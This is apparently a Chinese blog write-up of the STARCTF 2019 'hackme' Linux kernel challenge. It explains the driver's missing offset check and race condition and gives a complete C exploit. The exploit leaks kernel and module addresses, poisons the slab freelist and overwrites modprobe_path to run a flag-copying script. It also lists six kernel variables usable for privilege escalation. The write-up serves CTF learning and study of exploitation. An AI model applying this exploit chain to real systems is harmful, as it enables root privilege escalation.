0
点赞
收藏
分享

微信扫一扫

linux kernal pwn STARCTF 2019 hackme(一) 劫持modprobe_path

J简文 2022-04-20 阅读 34
网络安全

在这里插入图片描述
从用户态传入了0x20的数据,其数据放在了pool里面
在IDA里面看的话就是
在这里插入图片描述
就是他传入的四个QWORD 。
我们可以看得出来30001的时候就是通过v17来找到相关地址,然后kfree,再清零
所以其实就看得出来v17是index。

功能30002
v8是slab的地址
v20是从哪开始写
v9[1]里面就是size
所以就是往里面写
在这里插入图片描述

功能30003
上面是写进去
所以这个自然就是读出来
在这里插入图片描述
功能30000
读入一段
根据这一段申请slab
在这里插入图片描述

漏洞有两个
首先我们显而易见的在读写slab的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。

第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放slab的时候另一个线程去对他进行读写,就可以触发uaf。

首先我们要充分熟悉一下slab机制

https://blog.csdn.net/xiaoqiaoq0/article/details/122051942

再熟悉一下userfaultfd机制

思路一:任意地址读写。
因为开了kaslr,所以首先当然是需要泄露地址

泄露地址又包括泄露堆地址,内核地址,模块地址。
首先我们知道slub的分配很类似于glibc 的fastbin,里面会有指针fd指向下一块空闲的块
所以我们还是通过已经释放掉的slab来拿到堆地址,就通过任意读写。

在这里插入图片描述
slub机制不会像glibc一样加个头,是多少就是多少。

size = 0x100;
ko_malloc(fd, 0, data_ptr, size);
ko_malloc(fd, 1, data_ptr, size);
ko_malloc(fd, 2, data_ptr, size);
ko_malloc(fd, 3, data_ptr, size);
ko_malloc(fd, 4, data_ptr, size);

ko_free(fd, 1);
ko_free(fd, 3);

idx = 4;
offset = -0x100;
size = 0x100;
ko_read(fd, idx, data_ptr, size, offset);
uint64_t kheap_ptr = *(uint64_t *)data_ptr;
printf("[+] leaking kheap address: 0x%lx\n", kheap_ptr);

然后考虑泄露内核基地址。
我们可以用任意读,去泄露0号slab之前的数据。然后找个基地址相关的地址,通过偏移获得内核地址。

那我咋知道0号slab在哪?
推荐两种方法:
1、可以在slab里写一个类似0xdeadbeef的字符串然后在gdb中search搜索。
2、可以在kmalloc下断点看他的返回值

我们实际调试一下
首先我们可能比较需要一个有符号的内核
当然没有也勉强可以但是不好调不好看
编译linux内核
内核不要只顾着用最新的
因为驱动必须用编译它的内核模块跑
自己整个内核的话驱动挂载补上的。
这个题的内核模块是4.20.13
在这里插入图片描述

上面说的直接划线
有点问题

根据实验
就算我们用了跟它本来版本一模一样的bzimage
这是因为linux内部有模块检测机制,导致驱动挂不上去,就不赘述了
那我们会想能不能bzimage用它给的 vmlinux用我们自己的 反正版本一样
也哒咩
用不了 里面的很多函数偏移啥的都不一样。
亲测亲测。
可以考虑编译内核的时候关闭CONFIG_MODVERSIONS选项来关闭模块检测。

但是我们一般似乎更通用的是
只能用一些现有的工具从他给的bzimage中尝试恢复一些符号
能恢复的不多
但是也能凑或用吧
网上找了个教程
在这里插入图片描述
看得到一个是我自己编的有符号的
一个是它恢复的 差八九十倍…
但是对于一些简单的驱动题的话也够用

调试方法不再赘述,补充一个小trick
qemu启动脚本中中-s是-gdb tcp::1234缩写的意思;-S是freeze CPU at startup,等待调试。

如果多次启动可能碰到端口占用

kill -9 `lsof -ti:2222`

用这个命令杀死就好。

在这里插入图片描述gdb远程链接

在这里插入图片描述

我当然用的是自己编译的内核 有符号表。
方便调试
在这里插入图片描述
有符号表之后虽然有些地方看着还是没符号的样子比较丑
但是下断点啥的也还是方便了很多
在这里插入图片描述

那么我们就先kmalloc了五个0x100的slab

在这里插入图片描述

这是第五次kmalloc的返回值

我们看一下周围
在这里插入图片描述可以很清晰看到堆的结构
以及我们可以看到
确实内核里的slab机制就是的slab就是不会加很多头。

然后释放掉slab1 3
看地址下图是slab1
看得出来里面第一个地址是9900 这显然是800后面空闲的slab
在这里插入图片描述

释放掉3之后
我们显然看到slab指向被释放的slab1
在这里插入图片描述

然后我们整上向上越界就能独处heap的地址。

然后我们试图读kernal base
我们试图向上找
看看上面有什么好的地址
在这里插入图片描述
这个228的地方找到一个地址
经过测试之后是kernal中的一个地址

那为啥不用上面那个呢?
那一堆链表看起来就像slab中的。

减偏移的话我们需要知道kernal的基地址
也可以通过在/proc/kallsyms里面查看
在这里插入图片描述

然后我们要泄露mod的地址。
mod的地址在mod_tree中有写。
所以我们需要先劫持slab那个链条
申请到mod_tree
然后泄露一下mod的地址

怎么知道mod_tree的地址呢?
在这里插入图片描述
泄露kernal_base之后通过偏移就能找的到。

然后要申请到mod_tree

在这里插入图片描述这个地址改成mod_tree + 0x40

两次申请申请到
在这里插入图片描述
申请0x40是因为0x40这里的地址会循环起来
我们申请这里的话这个地址又会被写进链条里
方便下次利用。

然后泄露这个地址出来
在这里插入图片描述
这个就是hackme模块的基地址
那这个地址哪来的?
我们可以

cat kallsyms | grep hackme

当然也可以
在这里插入图片描述
是的没错
这个模块地址就是IDA里面驱动text基地址

memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);
read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr =  *((size_t  *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );

在这里插入图片描述

这里有个小问题
pool数组在ida里看到是0x640
但是我们实际调试的时候发现偏移是0x2400
在这里插入图片描述
可能数据段编进内核偏移变了吧…
还是得调一下

然后我们将modprobe_path写进去。
这个怎么得到?

	delete(fd,2);
	delete(fd,5);
	getchar();
	*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); 
	write_to_kernel(fd,4,mem,0x100,-0x100);
	alloc(fd,7,mem,0x100);
	alloc(fd,8,mem,0x100); // pool
	*((size_t *)(mem+0x8)) = 0x100; 
	*((size_t *)mem) = (0x83f960 + kernel_addr ); 
	write_to_kernel(fd,8,mem,0x10,0);

在这里插入图片描述

// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait) 
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC)

执行错误文件之后会执行modprobe_path中程序
所以我们将这个程序路径改成我们的cat flag路径
然后执行一个错误的文件就好。

参考的是bsauce大佬的解法

	strncpy(mem,"/home/pwn/copy.sh\0",18);
	write_to_kernel(fd,0xc,mem,18,0);

	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
	system("chmod +x /home/pwn/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
	system("chmod +x /home/pwn/dummy");

	system("/home/pwn/dummy");
	system("cat flag");

完整的exp

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002

struct arg
{
	size_t idx;
	void *addr;
	long long len;
	long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
	struct arg cmd;
	cmd.idx = idx;
	ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,READ,&cmd);	
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,WRITE,&cmd);	
}

int main(){
	int fd = open("/dev/hackme", 0);
	char *mem = malloc(0x1000);
	size_t heap_addr , kernel_addr,mod_addr;
	if (fd < 0){
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}
	memset(mem,'A',0x100);
	alloc(fd,0,mem,0x100);
	alloc(fd,1,mem,0x100);
	alloc(fd,2,mem,0x100);
	alloc(fd,3,mem,0x100);
	alloc(fd,4,mem,0x100);

	delete(fd,1);
	delete(fd,3);

	read_from_kernel(fd,4,mem,0x100,-0x100);
	heap_addr = *((size_t  *)mem);
	printf("[+] heap addr : %16llx\n",heap_addr );
	read_from_kernel(fd,0,mem,0x200,-0x200);
	kernel_addr = *((size_t  *)(mem+0x28)) ;
		
	kernel_addr -= 0x849ae0; 
	printf("[+] kernel addr : %16llx\n",kernel_addr );	
	
	memset(mem,'A',0x100);
	*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
	write_to_kernel(fd,4,mem,0x100,-0x100);
	alloc(fd,5,mem,0x100);
	alloc(fd,6,mem,0x100);

	read_from_kernel(fd,6,mem,0x40,-0x40);
	mod_addr =  *((size_t  *)(mem+0x18)) ;
	printf("[+] mod addr : %16llx\n",mod_addr );	

	delete(fd,2);
	delete(fd,5);
	getchar();
	*((size_t *)mem) = (0x2400 + mod_addr + 0xc0);
	write_to_kernel(fd,4,mem,0x100,-0x100);
	alloc(fd,7,mem,0x100);
	alloc(fd,8,mem,0x100); // pool
	*((size_t *)(mem+0x8)) = 0x100; 
	*((size_t *)mem) = (0x83f960 + kernel_addr );
	write_to_kernel(fd,8,mem,0x10,0);

	strncpy(mem,"/home/pwn/copy.sh\0",18);
	write_to_kernel(fd,0xc,mem,18,0);

	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
	system("chmod +x /home/pwn/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
	system("chmod +x /home/pwn/dummy");

	system("/home/pwn/dummy");
	system("cat flag");
}

同时大佬还提出了六种不需要像hijack prctl那样传参费劲的六种利用方式
hijack prctl著名的就是2018 强网杯 solid_core

总结提权时可劫持的变量

不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

(1) modprobe_path

// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait) 
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

__request_module - try to load a kernel module

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

(2)poweroff_cmd

// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)    
    ret = run_cmd(poweroff_cmd);

触发:执行__orderly_poweroff()即可。

(3)uevent_helper

// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{  ......
    env->argv[0] = uevent_helper; 
  ...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
{......
    retval = init_uevent_argv(env, subsystem);
    info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
......}

(4)ocfs2_hb_ctl_path

// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
    argv[0] = ocfs2_hb_ctl_path;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

(5)nfs_cache_getent_prog

// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

(6)cltrack_prog

// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    argv[0] = (char *)cltrack_prog;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
举报

相关推荐

0 条评论